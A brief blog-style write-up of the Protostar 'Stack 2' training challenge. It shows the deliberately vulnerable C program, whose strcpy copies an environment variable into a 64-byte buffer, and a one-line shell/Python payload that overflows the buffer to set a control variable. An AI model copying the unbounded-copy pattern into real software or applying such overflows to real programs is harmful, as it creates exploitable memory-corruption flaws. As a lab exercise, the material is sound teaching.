Protostar Stack-2 Writeup

writeup for protostart Stack-2 challenge

Stack 2

Source Code

The following is the source code for Stack 2 challenge

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);



In this challenge the value of environment variable GREENIE is being copied to buffer and hence we need to set GREENIE environment variable with out playload that will overflow the buffer and will modify the value of modified to 0x0d0a0d0a so this can be done using export statement along with little python magic.

```export GREENIE=`python -c “print ‘A’*64+’\x0a\x0d\x0a\x0d’“````

AND Stack 2 id completed


A passionate geek who loves to break stuff and then make it again, with interests in cloud infrastructure, network security, reverse engineering, malware analysis and exploit development. Codacker